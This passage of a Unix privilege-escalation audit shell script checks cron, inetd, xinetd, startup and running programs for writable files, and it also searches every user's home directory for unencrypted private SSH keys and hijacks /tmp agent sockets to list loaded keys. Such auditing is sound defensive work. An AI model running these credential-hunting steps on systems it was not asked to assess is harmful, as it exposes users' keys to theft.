periodic: 764 | # 1 3 * * * root periodic daily 765 | # 15 4 * * 6 root periodic weekly 766 | # 30 5 1 * * root periodic monthly 767 | 768 | grep -v '^#' /etc/crontab | grep -v '^[ ]*$' | grep '[ ][^ ][^ ]*[ ][ ]*' | while read LINE 769 | do 770 | echo "Processing crontab entry: $LINE" 771 | USER=`echo "$LINE" | awk '{print $6}'` 772 | PROG=`echo "$LINE" | awk '{print $7}'` 773 | check_called_programs "$PROG is run from crontab as $USER." $PROG $USER $MYPATH 774 | done 775 | else 776 | echo "File /etc/crontab not present. Skipping checks." 777 | fi 778 | 779 | # Do this if run-crons is run from /etc/crontab 780 | if [ -n "$CRONDIRS" ]; then 781 | USER=`echo "$CRONDIRS" | awk '{print $6}'` 782 | section "Checking /etc/cron.(hourly|daily|weekly|monthly)" 783 | for DIR in hourly daily weekly monthly; do 784 | if [ -d "/etc/cron.$DIR" ]; then 785 | echo " Checking directory: /etc/cron.$DIR" 786 | for FILE in /etc/cron.$DIR/*; do 787 | FILENAME=`echo "$FILE" | sed 's/.*\///'` 788 | if [ "$FILENAME" = "*" ]; then 789 | echo "No files in this directory." 790 | continue 791 | fi 792 | check_called_programs "$FILE is run via cron as $USER." "$FILE" $USER 793 | done 794 | fi 795 | done 796 | fi 797 | 798 | section "Checking cron job programs aren't writable (/var/spool/cron/crontabs)" 799 | if [ -d "/var/spool/cron/crontabs" ]; then 800 | for FILE in /var/spool/cron/crontabs/*; do 801 | USER=`echo "$FILE" | sed 's/^.*\///'` 802 | if [ "$USER" = "*" ]; then 803 | echo "No user crontabs found in /var/spool/cron/crontabs. Skipping checks." 804 | continue 805 | fi 806 | echo "Processing crontab for $USER: $FILE" 807 | if [ -r "$FILE" ]; then 808 | MYPATH=`grep '^PATH=' "$FILE" | cut -f 2 -d = ` 809 | if [ -n "$MYPATH" ]; then 810 | echo Crontab path is $MYPATH 811 | fi 812 | grep -v '^#' "$FILE" | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | while read LINE 813 | do 814 | echo "Processing crontab entry: $LINE" 815 | PROG=`echo "$LINE" | awk '{print $6}'` 816 | check_called_programs "$PROG is run via cron as $USER." "$PROG" $USER 817 | done 818 | else 819 | echo "ERROR: Can't read file $FILE" 820 | fi 821 | done 822 | else 823 | echo "Directory /var/spool/cron/crontabs is not present. Skipping checks." 824 | fi 825 | 826 | section "Checking cron job programs aren't writable (/var/spool/cron/tabs)" 827 | if [ -d "/var/spool/cron/tabs" ]; then 828 | for FILE in /var/spool/cron/tabs/*; do 829 | USER=`echo "$FILE" | sed 's/^.*\///'` 830 | if [ "$USER" = "*" ]; then 831 | echo "No user crontabs found in /var/spool/cron/crontabs. Skipping checks." 832 | continue 833 | fi 834 | echo "Processing crontab for $USER: $FILE" 835 | if [ -r "$FILE" ]; then 836 | MYPATH=`grep '^PATH=' "$FILE" | cut -f 2 -d = ` 837 | if [ -n "$MYPATH" ]; then 838 | echo Crontab path is $MYPATH 839 | fi 840 | grep -v '^#' "$FILE" | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | while read LINE 841 | do 842 | echo "Processing crontab entry: $LINE" 843 | PROG=`echo "$LINE" | awk '{print $6}'` 844 | check_called_programs "$PROG is run from cron as $USER." $PROG $USER $MYPATH 845 | done 846 | else 847 | echo "ERROR: Can't read file $FILE" 848 | fi 849 | done 850 | else 851 | echo "Directory /var/spool/cron/tabs is not present. Skipping checks." 852 | fi 853 | 854 | # Check programs run from /etc/inetd.conf have secure permissions 855 | # TODO: check inetd is actually running 856 | section "Checking inetd programs aren't writable" 857 | if [ -f /etc/inetd.conf ] && [ -r /etc/inetd.conf ]; then 858 | grep -v '^#' /etc/inetd.conf | grep -v '^[ \t]*$' | while read LINE 859 | do 860 | USER=`echo $LINE | awk '{print $5}'` 861 | PROG=`echo $LINE | awk '{print $6}'` # could be tcpwappers ... 862 | PROG2=`echo $LINE | awk '{print $7}'` # ... and this is the real prog 863 | if [ -z "$PROG" ] || [ "$PROG" = "internal" ]; then 864 | # Not calling an external program 865 | continue 866 | fi 867 | echo Processing inetd line: $LINE 868 | if [ -f "$PROG" ]; then 869 | check_called_programs "$PROG is run from inetd as $USER." $PROG $USER 870 | fi 871 | if [ -f "$PROG2" ]; then 872 | check_called_programs "$PROG is run from inetd as $USER." $PROG2 $USER 873 | fi 874 | done 875 | else 876 | echo "File /etc/inetd.conf not present. Skipping checks." 877 | fi 878 | 879 | # Check programs run from /etc/xinetd.d/* 880 | # TODO: check xinetd is actually running 881 | section "Checking xinetd programs aren't writeable" 882 | if [ -d /etc/xinetd.d ]; then 883 | for FILE in `grep 'disable[ \t]*=[ \t]*no' /etc/xinetd.d/* | cut -f 1 -d :`; do 884 | echo Processing xinetd service file: $FILE 885 | PROG=`grep '^[ \t]*server[ \t]*=[ \t]*' $FILE | sed 's/.*server.*=[ \t]*//'` 886 | USER=`grep '^[ \t]*user[ \t]*=[ \t]*' $FILE | sed 's/.*user.*=[ \t]*//'` 887 | check_called_programs "$PROG is run from xinetd as $USER." $PROG $USER 888 | done 889 | else 890 | echo "Directory /etc/xinetd.d not present. Skipping checks." 891 | fi 892 | 893 | # Check for writable home directories 894 | section "Checking home directories aren't writable" 895 | cat /etc/passwd | grep -v '^#' | while read LINE 896 | do 897 | echo Processing /etc/passwd line: $LINE 898 | USER=`echo $LINE | cut -f 1 -d :` 899 | DIR=`echo $LINE | cut -f 6 -d :` 900 | SHELL=`echo $LINE | cut -f 7 -d :` 901 | if [ "$SHELL" = "/sbin/nologin" ] || [ "$SHELL" = "/bin/false" ]; then 902 | echo " Skipping user $USER. They don't have a shell." 903 | else 904 | if [ "$DIR" = "/dev/null" ]; then 905 | echo " Skipping /dev/null home directory" 906 | else 907 | check_perms "$DIR is the home directory of $USER." $DIR $USER 908 | fi 909 | fi 910 | done 911 | 912 | # Check for readable files in home directories 913 | section "Checking for readable sensitive files in home directories" 914 | cat /etc/passwd | while read LINE 915 | do 916 | USER=`echo $LINE | cut -f 1 -d :` 917 | DIR=`echo $LINE | cut -f 6 -d :` 918 | SHELL=`echo $LINE | cut -f 7 -d :` 919 | for FILE in $HOME_DIR_FILES; do 920 | if [ -f "$DIR/$FILE" ]; then 921 | check_read_perms "$DIR/$FILE is in the home directory of $USER." "$DIR/$FILE" $USER 922 | fi 923 | done 924 | done 925 | 926 | section "Checking SUID programs" 927 | if [ "$MODE" = "detailed" ]; then 928 | for FILE in `find / -type f -perm -04000 2>/dev/null`; do 929 | check_called_programs_suid $FILE 930 | done 931 | else 932 | echo "Skipping checks of SUID programs (it's slow!). Run again in 'detailed' mode." 933 | fi 934 | 935 | # Check for private SSH keys in home directories 936 | section "Checking for Private SSH Keys home directories" 937 | for HOMEDIR in `cut -f 6 -d : /etc/passwd`; do 938 | if [ -d "$HOMEDIR/.ssh" ]; then 939 | PRIV_KEYS=`grep -l 'BEGIN [RD]SA PRIVATE KEY' $HOMEDIR/.ssh/* 2>/dev/null` 940 | if [ -n "$PRIV_KEYS" ]; then 941 | for KEY in $PRIV_KEYS; do 942 | ENC_KEY=`grep -l 'ENCRYPTED' "$KEY" 2>/dev/null` 943 | if [ -n "$ENC_KEY" ]; then 944 | echo "WARNING: Encrypted Private SSH Key Found in $KEY" 945 | else 946 | echo "WARNING: Unencrypted Private SSH Key Found in $KEY" 947 | fi 948 | done 949 | fi 950 | fi 951 | done 952 | 953 | # Check for public SSH keys in home directories 954 | section "Checking for Public SSH Keys home directories" 955 | for HOMEDIR in `cut -f 6 -d : /etc/passwd`; do 956 | if [ -r "$HOMEDIR/.ssh/authorized_keys" ]; then 957 | KEYS=`grep '^ssh-' $HOMEDIR/.ssh/authorized_keys 2>/dev/null` 958 | if [ -n "$KEYS" ]; then 959 | echo "WARNING: Public SSH Key Found in $HOMEDIR/.ssh/authorized_keys" 960 | fi 961 | fi 962 | done 963 | 964 | # Check for any SSH agents running on the box 965 | section "Checking for SSH agents" 966 | AGENTS=`ps -ef | grep ssh-agent | grep -v grep` 967 | if [ -n "$AGENTS" ]; then 968 | echo "WARNING: There are SSH agents running on this system:" 969 | ps -ef | grep ssh-agent | grep -v grep 970 | # for PID in `ps aux | grep ssh-agent | grep -v grep | awk '{print $2}'`; do 971 | for SOCK in `ls /tmp/ssh-*/agent.* 2>/dev/null`; do 972 | SSH_AUTH_SOCK=$SOCK; export SSH_AUTH_SOCK 973 | AGENT_KEYS=`ssh-add -l | grep -v 'agent has no identities.' 2>/dev/null` 974 | if [ -n "$AGENT_KEYS" ]; then 975 | echo "WARNING: SSH Agent has keys loaded [SSH_AUTH_SOCK=$SSH_AUTH_SOCK]" 976 | ssh-add -l 977 | fi 978 | done 979 | else 980 | echo "No SSH agents found" 981 | fi 982 | 983 | # Check for any GPG agents running on the box 984 | section "Checking for GPG agents" 985 | AGENTS=`ps -ef | grep gpg-agent | grep -v grep` 986 | if [ -n "$AGENTS" ]; then 987 | echo "WARNING: There are GPG agents running on this system:" 988 | ps aux | grep gpg-agent | grep -v grep 989 | else 990 | echo "No GPG agents found" 991 | fi 992 | 993 | # Check files in /etc/init.d/* can't be modified by non-root users 994 | section "Checking startup files (init.d / rc.d) aren't writable" 995 | for DIR in /etc/init.d /etc/rc.d /usr/local/etc/rc.d; do 996 | if [ -d "$DIR" ]; then 997 | for FILE in $DIR/*; do 998 | F=`echo "$FILE" | sed 's/^.*\///'` 999 | if [ "$F" = "*" ]; then 1000 | echo "No user startup script found in $DIR. Skipping checks." 1001 | continue 1002 | fi 1003 | echo Processing startup script $FILE 1004 | check_called_programs "$FILE is run by root at startup." $FILE root 1005 | done 1006 | fi 1007 | done 1008 | 1009 | section "Checking if running programs are writable" 1010 | if [ $OS = "solaris" ]; then 1011 | # use the output of ps command 1012 | ps -ef -o user,comm | while read LINE 1013 | do 1014 | USER=`echo "$LINE" | awk '{print $1}'` 1015 | PROG=`echo "$LINE" | awk '{print $2}'` 1016 | check_called_programs "$PROG is currently running as $USER." "$PROG" "$USER" 1017 | done 1018 | elif [ $OS = "bsd" ]; then 1019 | # use the output of ps command 1020 | ps aux | while read LINE 1021 | do 1022 | USER=`echo "$LINE" | awk '{print $1}'` 1023 | PROG=`echo "$LINE" | awk '{print $11}'` 1024 | check_called_programs "$PROG is currently running as $USER." "$PROG" "$USER" 1025 | done 1026 | elif [ $OS = "hpux" ]; then 1027 | # use the output of ps command 1028 | ps -ef | while read LINE 1029 | do 1030 | USER=`echo "$LINE" | awk '{print $1}'` 1031 | PROG1=`echo "$LINE" | awk '{print $8}'` 1032 | PROG2=`echo "$LINE" | awk '{print $9}'` 1033 | if [ -f "$PROG1" ]; then 1034 | check_called_programs "$PROG is currently running as $USER." "$PROG1" "$USER" 1035 | fi 1036 | if [ -f "$PROG2" ]; then 1037 | check_called_programs "$PROG is currently running as $USER." "$PROG2" "$USER" 1038 | fi 1039 | done 1040 | elif [ $OS = "linux" ]; then 1041 | # use the /proc file system 1042 | for PROCDIR in /proc/[0-9]*; do 1043 | unset PROGPATH 1044 | PID=`echo $PROCDIR | cut -f 3 -d /` 1045 | echo ------------------------ 1046 | echo "PID: $PID" 1047 | if [ -d "$PROCDIR" ]; then 1048 | if [ -r "$PROCDIR/exe" ]; then 1049 | PROGPATH=`ls -l "$PROCDIR/exe" 2>&1 | sed 's/ (deleted)//' | awk '{print $NF}'` 1050 | else 1051 | if [ -r "$PROCDIR/cmdline" ]; then 1052 | P=`cat $PROCDIR/cmdline | tr "\0" = | cut -f 1 -d = | grep '^/'` 1053 | if [ -z "$P" ]; then 1054 | echo "ERROR: Can't find full path of running program: "`cat $PROCDIR/cmdline` 1055 | else 1056 | PROGPATH=$P 1057 | fi 1058 | else 1059 | echo "ERROR: Can't find full path of running program: "`cat $PROCDIR/cmdline` 1060 | continue 1061 | fi 1062 | fi 1063 | get_owner $PROCDIR; OWNER=$GET_OWNER_RETURN 1064 | echo "Owner: $OWNER" 1065 | else 1066 | echo "ERROR: Can't find OWNER. Process has gone." 1067 | continue 1068 | fi 1069 | 1070 | if [ -n "$PROGPATH" ]; then 1071 | get_owner $PROGPATH; PROGOWNER=$GET_OWNER_RETURN 1072 | echo "Program path: $PROGPATH" 1073 | check_called_programs "$PROGPATH is currently running as $OWNER." $PROGPATH $OWNER 1074 | fi 1075 | 1076 | if [ "$MODE" == "detailed" ]; then 1077 | for FILE in $PROCDIR/fd/*; do 1078 | F=`echo "$FILE" | sed 's/^.*\///'` 1079 | if [ "$F" = "*" ]; then 1080 | continue 1081 | fi 1082 | check_perms "$FILE is an open file descriptor for process $PID running as $OWNER." $FILE $OWNER 1083 | done 1084 | fi 1085 | done 1086 | fi 1087 | --------------------------------------------------------------------------------